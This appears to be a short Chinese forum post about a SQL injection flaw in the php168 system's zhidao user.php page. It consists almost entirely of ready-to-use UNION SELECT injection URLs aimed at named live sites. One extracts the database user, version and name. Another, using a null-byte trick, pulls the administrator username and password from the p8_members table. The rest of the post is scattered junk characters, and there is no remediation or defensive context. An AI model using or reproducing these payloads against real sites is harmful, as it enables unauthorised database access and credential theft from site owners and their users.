php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
/ Y$ b9 X/ k3 ?4 p4 I+ q                                       
, k! F# I3 h1 x! W6 j* G- A
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
/ y: N8 E* z' I4 k- L                                                     
* f! s( r* Y% d/ K                                                                  
                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--

8 i+ f, L1 Y$ v% L3 E: f

* M& M# w, }7 _$ [0 f( l                                                            

- `% m1 c8 U  b) A6 U9 r9 bhttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
6 Y" P0 _$ t1 R1 q


* J/ C1 Z- \- ?+ f* W6 ^1 Z: [2 t                                                                    
9 d  E1 c% `+ ~; p0 R) Z/ w/ b. Z